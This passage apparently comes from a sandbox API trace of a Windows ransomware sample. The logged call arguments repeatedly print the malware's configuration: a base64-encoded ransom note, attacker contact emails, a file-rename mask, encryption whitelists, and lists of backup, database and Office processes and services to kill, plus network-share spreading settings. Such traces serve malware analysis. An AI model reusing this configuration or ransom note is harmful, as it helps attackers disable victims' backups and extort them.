\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x27fa5c, _Radix=0 | out: _EndPtr=0x27fa5c*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 51200 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3848, Size=0x14) returned 0x4de7e0 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de800 [0034.476] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x27fa5c, _Radix=0 | out: _EndPtr=0x27fa5c*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 8 [0034.476] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4de7e0, Size=0x18) returned 0x4de820 [0034.476] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4de7e0 [0034.476] strtol (in: _Str="5, 